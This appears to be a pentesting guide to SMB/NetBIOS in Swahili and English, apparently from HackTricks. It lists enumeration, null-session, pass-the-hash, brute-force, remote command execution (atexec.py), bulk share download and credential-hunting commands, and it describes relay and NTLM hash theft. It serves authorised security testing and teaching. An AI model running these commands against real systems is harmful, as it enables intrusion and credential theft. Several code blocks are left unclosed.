## **Port 139**

_**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (inayofanya kazi kama mteja) inatoa amri ya "kuita" programu nyingine (inayofanya kazi kama seva) ikitumia **TCP Port 139**.
```
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
```
## Port 445

Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi **SMB** kinamaanisha ‘**Server Message Blocks**’, ambacho pia kinajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printa, bandari za serial, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.

Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa hitaji la NetBIOS juu ya TCP/IP, kupitia matumizi ya port 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya port 139 yanaonekana, ikionyesha kwamba SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP.
```
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB

Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, saraka, na rasilimali nyingine za mtandao kama vile printers na routers. Kimsingi inatumika ndani ya mfululizo wa mfumo wa uendeshaji wa **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.

Hisa, zinazoakisi **sehemu za nasibu za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hierarchi ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinafafanua **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.

### IPC$ Share

Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, ikiruhusu mwingiliano na huduma zilizoonyeshwa kupitia mabomba yaliyopewa majina. Kifaa `enum4linux` ni muhimu kwa kusudi hili. Ikitumika ipasavyo, inaruhusu kupata:

* Taarifa kuhusu mfumo wa uendeshaji
* Maelezo kuhusu domain ya mzazi
* Mkusanyiko wa watumiaji na vikundi vya ndani
* Taarifa kuhusu hisa za SMB zinazopatikana
* Sera ya usalama wa mfumo inayofanya kazi

Kazi hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmini hali ya usalama ya huduma za SMB (Server Message Block) kwenye mtandao. `enum4linux` inatoa mtazamo mpana wa mazingira ya SMB ya mfumo lengwa, ambayo ni muhimu kwa kutambua udhaifu wa uwezekano na kuhakikisha kwamba huduma za SMB zimeimarishwa ipasavyo.
```bash
enum4linux -a target_ip
```
The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`.

## Nini NTLM

Ikiwa hujui nini NTLM au unataka kujua jinsi inavyofanya kazi na jinsi ya kuitumia vibaya, utapata ukurasa huu kuhusu **NTLM** kuwa wa kuvutia sana ambapo inaelezwa **jinsi protokali hii inavyofanya kazi na jinsi unavyoweza kuitumia:**

## **Uainishaji wa Server**

### **Scan** mtandao ukitafuta mwenyeji:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB server version

Ili kutafuta uwezekano wa matumizi mabaya ya toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haitokei katika zana nyingine zinazotumika, unaweza:

* Kutumia moduli ya **MSF** ya ziada \_**auxiliary/scanner/smb/smb\_version**
* Au skripti hii:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

## Kuhesabu Folda Zilizoshirikiwa

### Orodha ya folda zilizoshirikiwa

Kila wakati inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Unganisha/Orodhesha folda iliyo shiriki**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Kuhesabu kwa mikono sehemu za windows na kuungana nazo**

Inaweza kuwa inawezekana kwamba umepungukiwa kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutaka kutafuta majibu kama NT\_STATUS\_ACCESS\_DENIED na NT\_STATUS\_BAD\_NETWORK\_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na kitu au akidi halali). Hizi zinaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji wake au sehemu hiyo haipo kabisa.

Majina ya kawaida ya sehemu kwa malengo ya windows ni

* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON

(Majina ya kawaida ya sehemu kutoka _**Network Security Assessment 3rd edition**_)

Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
au kwa hii script (ikitumia kikao kisicho na thamani)
```bash
#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
mfano
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Kagua hisa kutoka Windows / bila zana za upande wa tatu**

PowerShell
```powershell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD console
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (grafiki)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (grafiki), ingiza `\\<ip>\` kuona sehemu zisizofichwa zinazopatikana.

### Pandisha folda iliyoshirikiwa
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Pakua faili**

Soma sehemu za awali kujifunza jinsi ya kuungana na akidi/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```

```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
Commands:

* mask: inabainisha mask ambayo inatumika kuchuja faili ndani ya saraka (e.g. "" kwa faili zote)
* recurse: inabadilisha recursion kuwa juu (default: off)
* prompt: inabadilisha kuomba majina ya faili kuwa chini (default: on)
* mget: inakopi faili zote zinazolingana na mask kutoka mwenyeji hadi mashine ya mteja

(_Information from the manpage of smbclient_)

### Domain Shared Folders Search

* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) kupeleleza.
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.

{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}

## Soma Registry

You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Exploitation

The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:

| **Setting**                 | **Description**                                                     |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes`          | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa?       |
| `read only = no`            | Kataza uundaji na mabadiliko ya faili?                             |
| `writable = yes`            | Ruhusu watumiaji kuunda na kubadilisha faili?                     |
| `guest ok = yes`            | Ruhusu kuungana na huduma bila kutumia nenosiri?                   |
| `enable privileges = yes`   | Heshimu mamlaka zilizotolewa kwa SID maalum?                       |
| `create mask = 0777`        | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa?      |
| `directory mask = 0777`     | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?|
| `logon script = script.sh`  | Ni script gani inapaswa kutekelezwa wakati wa kuingia kwa mtumiaji?|
| `magic script = script.sh`  | Ni script gani inapaswa kutekelezwa script inapofungwa?           |
| `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa?          |

The command `smbstatus` gives information about the **server** and about **who is connected**.

## Authenticate using Kerberos

You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```

Tekeleza amri kupitia Mipango ya Kazi (ukitumia _\pipe\atsvc_ kupitia SMB).\
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

## **Bruteforce credentials za watumiaji**

**Hii haipendekezwi, unaweza kufunga akaunti ikiwa utaongeza majaribio yaliyoruhusiwa**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack

Huu shambulio unatumia zana ya Responder ili **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** kwa **mashine lengwa**. Ikiwa **vikao vya uthibitishaji ni vya mafanikio**, itakushusha moja kwa moja kwenye **shelly** ya **sistimu**.\
[**Taarifa zaidi kuhusu shambulio hili hapa.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

## SMB-Trap

Maktaba ya Windows URLMon.dll inajaribu moja kwa moja kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kufikia maudhui fulani kupitia SMB, kwa mfano: `img src="\\10.10.10.10\path\image.jpg"`

Hii inatokea na kazi:

* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream

Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype)

## NTLM Theft

Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack).

## HackTricks Automatic Commands
```
Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port
